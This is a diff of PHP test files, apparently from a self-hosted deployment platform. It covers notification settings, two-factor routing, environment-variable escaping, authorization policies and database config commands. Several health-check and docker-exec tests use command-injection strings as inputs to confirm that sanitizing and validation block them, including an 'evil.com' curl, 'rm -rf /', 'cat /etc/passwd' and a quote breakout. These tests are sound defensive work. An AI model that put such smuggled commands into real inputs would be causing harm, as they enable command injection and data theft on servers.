expect($this->team->isAnyNotificationEnabled())->toBeTrue();
});
test('returns true when webhook notifications are enabled', function () {
$this->team->webhookNotificationSettings->update(['webhook_enabled' => true]);
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
});
});
@@ -0,0 +1,65 @@
<?php
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->personal()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
});
it('allows unauthenticated access to two-factor-challenge page', function () {
$response = $this->get('/two-factor-challenge');
// Fortify returns a redirect to /login if there's no login.id in session,
// but the important thing is it does NOT return a 419 or 500
expect($response->status())->toBeIn([200, 302]);
});
it('includes two-factor-challenge in allowed paths for unsubscribed accounts', function () {
$paths = allowedPathsForUnsubscribedAccounts();
expect($paths)->toContain('two-factor-challenge');
});
it('includes two-factor-challenge in allowed paths for invalid accounts', function () {
$paths = allowedPathsForInvalidAccounts();
expect($paths)->toContain('two-factor-challenge');
});
it('includes two-factor-challenge in allowed paths for boarding accounts', function () {
$paths = allowedPathsForBoardingAccounts();
expect($paths)->toContain('two-factor-challenge');
});
it('does not redirect authenticated user with force_password_reset from two-factor-challenge', function () {
$this->user->update(['force_password_reset' => true]);
$response = $this->actingAs($this->user)->get('/two-factor-challenge');
// Should NOT redirect to force-password-reset page
if ($response->isRedirect()) {
expect($response->headers->get('Location'))->not->toContain('force-password-reset');
}
});
it('renders 419 error page with login link instead of previous url', function () {
$response = $this->get('/two-factor-challenge', [
'X-CSRF-TOKEN' => 'invalid-token',
]);
// The 419 page should exist and contain a link to /login
$view = view('errors.419')->render();
expect($view)->toContain('/login');
expect($view)->toContain('Back to Login');
expect($view)->toContain('This page is definitely old, not like you!');
expect($view)->not->toContain('url()->previous()');
});
+20 -1
View File
@@ -1,5 +1,8 @@
<?php
use App\Models\Server;
use Illuminate\Support\Once;
/*
|--------------------------------------------------------------------------
| Test Case
@@ -10,7 +13,23 @@
| need to change it using the "uses()" function to bind a different classes or traits.
|
*/
uses(Tests\TestCase::class)->in('Feature');
uses(Tests\TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser');
/*
|--------------------------------------------------------------------------
| Test Hooks
|--------------------------------------------------------------------------
|
| Global hooks that run before/after each test.
|
*/
beforeEach(function () {
// Flush the Once memoization cache to ensure tests get fresh data
Once::flush();
// Flush the Server identity map cache to ensure tests get fresh data
Server::flushIdentityMap();
});
/*
|--------------------------------------------------------------------------
@@ -0,0 +1,11 @@
<?php
use App\Models\Application;
it('treats zero private key id as deploy key', function () {
$application = new Application();
$application->private_key_id = 0;
$application->source = null;
expect($application->deploymentType())->toBe('deploy_key');
});
@@ -3,7 +3,7 @@
use App\Models\StandaloneClickhouse;
test('clickhouse uses clickhouse_db field in internal connection string', function () {
$clickhouse = new StandaloneClickhouse();
$clickhouse = new StandaloneClickhouse;
$clickhouse->clickhouse_admin_user = 'testuser';
$clickhouse->clickhouse_admin_password = 'testpass';
$clickhouse->clickhouse_db = 'mydb';
@@ -18,7 +18,7 @@ test('clickhouse uses clickhouse_db field in internal connection string', functi
});
test('clickhouse defaults to default database when clickhouse_db is null', function () {
$clickhouse = new StandaloneClickhouse();
$clickhouse = new StandaloneClickhouse;
$clickhouse->clickhouse_admin_user = 'testuser';
$clickhouse->clickhouse_admin_password = 'testpass';
$clickhouse->clickhouse_db = null;
@@ -30,7 +30,7 @@ test('clickhouse defaults to default database when clickhouse_db is null', funct
});
test('clickhouse external url uses correct database', function () {
$clickhouse = new StandaloneClickhouse();
$clickhouse = new StandaloneClickhouse;
$clickhouse->clickhouse_admin_user = 'admin';
$clickhouse->clickhouse_admin_password = 'secret';
$clickhouse->clickhouse_db = 'production';
@@ -38,12 +38,19 @@ test('clickhouse external url uses correct database', function () {
$clickhouse->is_public = true;
$clickhouse->public_port = 8123;
$clickhouse->destination = new class {
$clickhouse->destination = new class
{
public $server;
public function __construct() {
$this->server = new class {
public function __get($name) {
if ($name === 'getIp') return '1.2.3.4';
public function __construct()
{
$this->server = new class
{
public function __get($name)
{
if ($name === 'getIp') {
return '1.2.3.4';
}
}
};
}
+107
View File
@@ -0,0 +1,107 @@
<?php
use App\Models\EnvironmentVariable;
/**
* Tests for GitHub Issue #6160: COMPOSER_AUTH environment variable escaping.
*
* PR #6146 moved escaping into the EnvironmentVariable::realValue() accessor,
* causing double-escaping for build-time vars and broken JSON for runtime vars.
*
* Fix: JSON objects/arrays detected in realValue() skip escaping entirely.
*/
const COMPOSER_AUTH_JSON = '{"http-basic":{"backpackforlaravel.com":{"username":"ourusername","password":"ourpassword"}}}';
// ---------------------------------------------------------------------------
// Test 1: realValue accessor returns raw JSON for non-literal env vars
// ---------------------------------------------------------------------------
it('realValue accessor returns raw JSON without escaping quotes', function () {
$env = Mockery::mock(EnvironmentVariable::class)->makePartial();
$env->shouldReceive('relationLoaded')->with('resourceable')->andReturn(true);
$env->shouldReceive('getAttribute')->with('resourceable')->andReturn(new stdClass);
$env->shouldReceive('getAttribute')->with('value')->andReturn(COMPOSER_AUTH_JSON);
$env->shouldReceive('getAttribute')->with('is_literal')->andReturn(false);
$env->shouldReceive('getAttribute')->with('is_multiline')->andReturn(false);
$realValue = $env->real_value;
// JSON should pass through without escaping
expect($realValue)->toBe(COMPOSER_AUTH_JSON);
expect($realValue)->not->toContain('\\"');
});
// ---------------------------------------------------------------------------
// Test 2: realValue for a literal JSON env also returns raw JSON
// (JSON check fires before the literal single-quote wrapping)
// ---------------------------------------------------------------------------
it('realValue accessor for literal JSON env returns raw value without wrapping', function () {
$env = Mockery::mock(EnvironmentVariable::class)->makePartial();
$env->shouldReceive('relationLoaded')->with('resourceable')->andReturn(true);
$env->shouldReceive('getAttribute')->with('resourceable')->andReturn(new stdClass);
$env->shouldReceive('getAttribute')->with('value')->andReturn(COMPOSER_AUTH_JSON);
$env->shouldReceive('getAttribute')->with('is_literal')->andReturn(true);
$env->shouldReceive('getAttribute')->with('is_multiline')->andReturn(false);
$realValue = $env->real_value;
// JSON check should fire first, returning raw JSON without single-quote wrapping
expect($realValue)->toBe(COMPOSER_AUTH_JSON);
expect($realValue)->not->toStartWith("'");
expect($realValue)->not->toEndWith("'");
});
// ---------------------------------------------------------------------------
// Test 3: Non-JSON values still get normal escaping (regression check)
// ---------------------------------------------------------------------------
it('realValue accessor still escapes non-JSON values with quotes', function () {
$env = Mockery::mock(EnvironmentVariable::class)->makePartial();
$env->shouldReceive('relationLoaded')->with('resourceable')->andReturn(true);
$env->shouldReceive('getAttribute')->with('resourceable')->andReturn(new stdClass);
$env->shouldReceive('getAttribute')->with('value')->andReturn('hello "world"');
$env->shouldReceive('getAttribute')->with('is_literal')->andReturn(false);
$env->shouldReceive('getAttribute')->with('is_multiline')->andReturn(false);
$realValue = $env->real_value;
// Non-JSON should still be escaped by escapeEnvVariables
expect($realValue)->toContain('\\"');
expect($realValue)->toBe('hello \\"world\\"');
});
// ---------------------------------------------------------------------------
// Test 4: JSON array values also skip escaping
// ---------------------------------------------------------------------------
it('realValue accessor returns raw JSON array without escaping', function () {
$jsonArray = '[{"host":"example.com","token":"abc123"}]';
$env = Mockery::mock(EnvironmentVariable::class)->makePartial();
$env->shouldReceive('relationLoaded')->with('resourceable')->andReturn(true);
$env->shouldReceive('getAttribute')->with('resourceable')->andReturn(new stdClass);
$env->shouldReceive('getAttribute')->with('value')->andReturn($jsonArray);
$env->shouldReceive('getAttribute')->with('is_literal')->andReturn(false);
$env->shouldReceive('getAttribute')->with('is_multiline')->andReturn(false);
$realValue = $env->real_value;
expect($realValue)->toBe($jsonArray);
expect($realValue)->not->toContain('\\"');
});
// ---------------------------------------------------------------------------
// Test 5: Buildtime escaping of raw JSON produces recoverable value
// ---------------------------------------------------------------------------
it('escapeBashDoubleQuoted on raw JSON produces value recoverable as valid JSON', function () {
$escaped = escapeBashDoubleQuoted(COMPOSER_AUTH_JSON);
// Should be double-quoted
expect($escaped)->toStartWith('"');
expect($escaped)->toEndWith('"');
// After bash unescaping (strip outer quotes, unescape \")
$inner = substr($escaped, 1, -1);
$inner = str_replace('\\"', '"', $inner);
$decoded = json_decode($inner, true);
expect($decoded)->not->toBeNull("Expected valid JSON after bash unescaping, got: {$inner}");
expect($decoded)->toHaveKey('http-basic');
});
@@ -0,0 +1,35 @@
<?php
it('passes a simple command through correctly', function () {
$result = executeInDocker('test-container', 'ls -la /app');
expect($result)->toBe("docker exec test-container bash -c 'ls -la /app'");
});
it('escapes single quotes in command', function () {
$result = executeInDocker('test-container', "echo 'hello world'");
expect($result)->toBe("docker exec test-container bash -c 'echo '\\''hello world'\\'''");
});
it('prevents command injection via single quote breakout', function () {
$malicious = "cd /dir && docker compose build'; id; #";
$result = executeInDocker('test-container', $malicious);
// The single quote in the malicious command should be escaped so it cannot break out of bash -c
// The raw unescaped pattern "build'; id;" must not appear — the quote must be escaped
expect($result)->not->toContain("build'; id;");
expect($result)->toBe("docker exec test-container bash -c 'cd /dir && docker compose build'\\''; id; #'");
});
it('handles empty command', function () {
$result = executeInDocker('test-container', '');
expect($result)->toBe("docker exec test-container bash -c ''");
});
it('handles command with multiple single quotes', function () {
$result = executeInDocker('test-container', "echo 'a' && echo 'b'");
expect($result)->toBe("docker exec test-container bash -c 'echo '\\''a'\\'' && echo '\\''b'\\'''");
});
@@ -0,0 +1,270 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\ApplicationSetting;
use Illuminate\Support\Facades\Validator;
use Mockery;
beforeEach(function () {
Mockery::close();
});
afterEach(function () {
Mockery::close();
});
it('sanitizes health_check_host to prevent command injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_host' => 'localhost; id > /tmp/pwned #',
]);
// Should fall back to 'localhost' because input contains shell metacharacters
expect($result)->not->toContain('; id')
->and($result)->not->toContain('/tmp/pwned')
->and($result)->toContain('localhost');
});
it('sanitizes health_check_method to prevent command injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_method' => 'GET; curl http://evil.com #',
]);
expect($result)->not->toContain('evil.com')
->and($result)->not->toContain('; curl');
});
it('sanitizes health_check_path to prevent command injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_path' => '/health; rm -rf / #',
]);
expect($result)->not->toContain('rm -rf')
->and($result)->not->toContain('; rm');
});
it('sanitizes health_check_scheme to prevent command injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_scheme' => 'http; cat /etc/passwd #',
]);
expect($result)->not->toContain('/etc/passwd')
->and($result)->not->toContain('; cat');
});
it('casts health_check_port to integer to prevent injection', function () {
$result = callGenerateHealthcheckCommands([
'health_check_port' => '8080; whoami',
]);
// (int) cast on non-numeric after digits yields 8080
expect($result)->not->toContain('whoami')
->and($result)->toContain('8080');
});
it('generates valid healthcheck command with safe inputs', function () {
$result = callGenerateHealthcheckCommands([
'health_check_method' => 'GET',
'health_check_scheme' => 'http',
'health_check_host' => 'localhost',
'health_check_port' => '8080',
'health_check_path' => '/health',
]);
expect($result)->toContain('curl -s -X')
->and($result)->toContain('http://localhost:8080/health')
->and($result)->toContain('wget -q -O-');
});
it('uses escapeshellarg on the constructed URL', function () {
$result = callGenerateHealthcheckCommands([
'health_check_host' => 'my-app.local',
'health_check_path' => '/api/health',
]);
// escapeshellarg wraps in single quotes
expect($result)->toContain("'http://my-app.local:80/api/health'");
});
it('validates health_check_host rejects shell metacharacters via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_host' => 'localhost; id #'],
['health_check_host' => $rules['health_check_host']]
);
expect($validator->fails())->toBeTrue();
});
it('validates health_check_method rejects invalid methods via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_method' => 'GET; curl evil.com'],
['health_check_method' => $rules['health_check_method']]
);
expect($validator->fails())->toBeTrue();
});
it('validates health_check_scheme rejects invalid schemes via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_scheme' => 'http; whoami'],
['health_check_scheme' => $rules['health_check_scheme']]
);
expect($validator->fails())->toBeTrue();
});
it('validates health_check_path rejects shell metacharacters via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_path' => '/health; rm -rf /'],
['health_check_path' => $rules['health_check_path']]
);
expect($validator->fails())->toBeTrue();
});
it('validates health_check_port rejects non-numeric values via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
['health_check_port' => '8080; whoami'],
['health_check_port' => $rules['health_check_port']]
);
expect($validator->fails())->toBeTrue();
});
it('allows valid health check values via API rules', function () {
$rules = sharedDataApplications();
$validator = Validator::make(
[
'health_check_host' => 'my-app.localhost',
'health_check_method' => 'GET',
'health_check_scheme' => 'https',
'health_check_path' => '/api/v1/health',
'health_check_port' => 8080,
],
[
'health_check_host' => $rules['health_check_host'],
'health_check_method' => $rules['health_check_method'],
'health_check_scheme' => $rules['health_check_scheme'],
'health_check_path' => $rules['health_check_path'],
'health_check_port' => $rules['health_check_port'],
]
);
expect($validator->fails())->toBeFalse();
});
it('generates CMD healthcheck command directly', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => 'pg_isready -U postgres',
]);
expect($result)->toBe('pg_isready -U postgres');
});
it('strips newlines from CMD healthcheck command', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => "redis-cli ping\n&& echo pwned",
]);
expect($result)->not->toContain("\n")
->and($result)->toBe('redis-cli ping && echo pwned');
});
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => '',
]);
// Should fall through to HTTP path
expect($result)->toContain('curl -s -X');
});
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
$rules = [
'healthCheckCommand' => 'nullable|string|max:1000',
];
$validator = Validator::make(
['healthCheckCommand' => str_repeat('a', 1001)],
$rules
);
expect($validator->fails())->toBeTrue();
});
it('validates healthCheckCommand accepts strings under 1000 characters', function () {
$rules = [
'healthCheckCommand' => 'nullable|string|max:1000',
];
$validator = Validator::make(
['healthCheckCommand' => 'pg_isready -U postgres'],
$rules
);
expect($validator->fails())->toBeFalse();
});
/**
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
*/
function callGenerateHealthcheckCommands(array $overrides = []): string
{
$defaults = [
'health_check_type' => 'http',
'health_check_command' => null,
'health_check_method' => 'GET',
'health_check_scheme' => 'http',
'health_check_host' => 'localhost',
'health_check_port' => null,
'health_check_path' => '/',
'ports_exposes' => '80',
];
$values = array_merge($defaults, $overrides);
$application = Mockery::mock(Application::class)->makePartial();
$application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
$application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
$application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']);
$application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']);
$application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes']));
$application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');
$settings = Mockery::mock(ApplicationSetting::class)->makePartial();
$settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false);
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$reflection = new ReflectionClass($job);
$appProp = $reflection->getProperty('application');
$appProp->setAccessible(true);
$appProp->setValue($job, $application);
$method = $reflection->getMethod('generate_healthcheck_commands');
$method->setAccessible(true);
return $method->invoke($job);
}
+121
View File
@@ -0,0 +1,121 @@
<?php
/**
* Tests for the downsampleLTTB helper function used for metrics downsampling.
* This function implements the Largest-Triangle-Three-Buckets algorithm.
*/
it('returns data unchanged when below threshold', function () {
$data = [
[1000, 10.5],
[2000, 20.3],
[3000, 15.7],
];
$result = downsampleLTTB($data, 1000);
expect($result)->toBe($data);
});
it('returns data unchanged when threshold is 2 or less', function () {
$data = [
[1000, 10.5],
[2000, 20.3],
[3000, 15.7],
[4000, 25.0],
[5000, 12.0],
];
$result = downsampleLTTB($data, 2);
expect($result)->toBe($data);
$result = downsampleLTTB($data, 1);
expect($result)->toBe($data);
});
it('downsamples to target threshold count', function () {
// Seed for reproducibility
mt_srand(42);
// Generate 100 data points
$data = [];
for ($i = 0; $i < 100; $i++) {
$data[] = [$i * 1000, mt_rand(0, 100) / 10];
}
$result = downsampleLTTB($data, 10);
expect(count($result))->toBe(10);
});
it('preserves first and last data points', function () {
$data = [];
for ($i = 0; $i < 100; $i++) {
$data[] = [$i * 1000, $i * 1.5];
}
$result = downsampleLTTB($data, 20);
// First point should be preserved
expect($result[0])->toBe($data[0]);
// Last point should be preserved
expect(end($result))->toBe(end($data));
});
it('maintains chronological order', function () {
$data = [];
for ($i = 0; $i < 500; $i++) {
$data[] = [$i * 60000, sin($i / 10) * 50 + 50]; // Sine wave pattern
}
$result = downsampleLTTB($data, 50);
// Verify all timestamps are in non-decreasing order
$previousTimestamp = -1;
foreach ($result as $point) {
expect($point[0])->toBeGreaterThanOrEqual($previousTimestamp);
$previousTimestamp = $point[0];
}
});
it('handles large datasets efficiently', function () {
// Seed for reproducibility
mt_srand(123);
// Simulate 30 days of data at 5-second intervals (518,400 points)
// For test purposes, use 10,000 points
$data = [];
for ($i = 0; $i < 10000; $i++) {
$data[] = [$i * 5000, mt_rand(0, 100)];
}
$startTime = microtime(true);
$result = downsampleLTTB($data, 1000);
$executionTime = microtime(true) - $startTime;
expect(count($result))->toBe(1000);
expect($executionTime)->toBeLessThan(1.0); // Should complete in under 1 second
});
it('preserves peaks and valleys in data', function () {
// Create data with clear peaks and valleys
$data = [];
for ($i = 0; $i < 100; $i++) {
if ($i === 25) {
$value = 100; // Peak
} elseif ($i === 75) {
$value = 0; // Valley
} else {
$value = 50;
}
$data[] = [$i * 1000, $value];
}
$result = downsampleLTTB($data, 20);
// The peak (100) and valley (0) should be preserved due to LTTB algorithm
$values = array_column($result, 1);
expect(in_array(100, $values))->toBeTrue();
expect(in_array(0, $values))->toBeTrue();
});
+227
View File
@@ -0,0 +1,227 @@
<?php
use App\Models\User;
use App\Policies\GithubAppPolicy;
it('allows any user to view any github apps', function () {
$user = Mockery::mock(User::class)->makePartial();
$policy = new GithubAppPolicy;
expect($policy->viewAny($user))->toBeTrue();
});
it('allows any user to view system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->view($user, $model))->toBeTrue();
});
it('allows team member to view non-system-wide github app', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->view($user, $model))->toBeTrue();
});
it('denies non-team member to view non-system-wide github app', function () {
$teams = collect([
(object) ['id' => 2, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->view($user, $model))->toBeFalse();
});
it('allows admin to create github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(true);
$policy = new GithubAppPolicy;
expect($policy->create($user))->toBeTrue();
});
it('denies non-admin to create github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(false);
$policy = new GithubAppPolicy;
expect($policy->create($user))->toBeFalse();
});
it('allows user with system access to update system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeTrue();
});
it('denies user without system access to update system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeFalse();
});
it('allows team admin to update non-system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeTrue();
});
it('denies team member to update non-system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->update($user, $model))->toBeFalse();
});
it('allows user with system access to delete system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeTrue();
});
it('denies user without system access to delete system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
$model = new class
{
public $team_id = 1;
public $is_system_wide = true;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeFalse();
});
it('allows team admin to delete non-system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeTrue();
});
it('denies team member to delete non-system-wide github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->delete($user, $model))->toBeFalse();
});
it('denies restore of github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->restore($user, $model))->toBeFalse();
});
it('denies force delete of github app', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
public $is_system_wide = false;
};
$policy = new GithubAppPolicy;
expect($policy->forceDelete($user, $model))->toBeFalse();
});
@@ -0,0 +1,163 @@
<?php
use App\Models\User;
use App\Policies\SharedEnvironmentVariablePolicy;
it('allows any user to view any shared environment variables', function () {
$user = Mockery::mock(User::class)->makePartial();
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->viewAny($user))->toBeTrue();
});
it('allows team member to view their team shared environment variable', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->view($user, $model))->toBeTrue();
});
it('denies non-team member to view shared environment variable', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$model = new class
{
public $team_id = 2;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->view($user, $model))->toBeFalse();
});
it('allows admin to create shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(true);
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->create($user))->toBeTrue();
});
it('denies non-admin to create shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(false);
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->create($user))->toBeFalse();
});
it('allows team admin to update shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->update($user, $model))->toBeTrue();
});
it('denies team member to update shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->update($user, $model))->toBeFalse();
});
it('allows team admin to delete shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->delete($user, $model))->toBeTrue();
});
it('denies team member to delete shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->delete($user, $model))->toBeFalse();
});
it('denies restore of shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->restore($user, $model))->toBeFalse();
});
it('denies force delete of shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->forceDelete($user, $model))->toBeFalse();
});
it('allows team admin to manage environment', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->manageEnvironment($user, $model))->toBeTrue();
});
it('denies team member to manage environment', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->manageEnvironment($user, $model))->toBeFalse();
});
+1 -1
View File
@@ -112,7 +112,7 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
);
$this->expectException(\Exception::class);
$this->expectExceptionMessage('SSH keys storage directory is not writable');
$this->expectExceptionMessage('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify');
PrivateKey::createAndStore([
'name' => 'Test Key',
+1 -1
View File
@@ -24,7 +24,7 @@ it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks',
$expiresAfterProperty->setAccessible(true);
$expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware);
expect($expiresAfter)->toBe(60)
expect($expiresAfter)->toBe(90)
->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks');
// Check releaseAfter is NOT set (we use dontRelease)
@@ -0,0 +1,52 @@
<?php
use App\Actions\Database\StartKeydb;
use App\Models\StandaloneKeydb;
test('keydb config chown command is added when keydb_conf is set', function () {
$action = new StartKeydb;
$action->configuration_dir = '/data/coolify/databases/test-uuid';
$action->commands = [];
$database = Mockery::mock(StandaloneKeydb::class)->makePartial();
$database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('maxmemory 2gb');
$action->database = $database;
if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
$action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
}
expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/keydb.conf');
});
test('keydb config chown command is not added when keydb_conf is null', function () {
$action = new StartKeydb;
$action->configuration_dir = '/data/coolify/databases/test-uuid';
$action->commands = [];
$database = Mockery::mock(StandaloneKeydb::class)->makePartial();
$database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(null);
$action->database = $database;
if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
$action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
}
expect($action->commands)->toBeEmpty();
});
test('keydb config chown command is not added when keydb_conf is empty', function () {
$action = new StartKeydb;
$action->configuration_dir = '/data/coolify/databases/test-uuid';
$action->commands = [];
$database = Mockery::mock(StandaloneKeydb::class)->makePartial();
$database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('');
$action->database = $database;
if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
$action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
}
expect($action->commands)->toBeEmpty();
});
@@ -0,0 +1,53 @@
<?php
use App\Actions\Database\StartRedis;
use App\Models\StandaloneRedis;
test('redis config chown command is added when redis_conf is set', function () {
$action = new StartRedis;
$action->configuration_dir = '/data/coolify/databases/test-uuid';
$action->commands = [];
$database = Mockery::mock(StandaloneRedis::class)->makePartial();
$database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('maxmemory 2gb');
$action->database = $database;
// Simulate the chown logic from handle()
if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
$action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
}
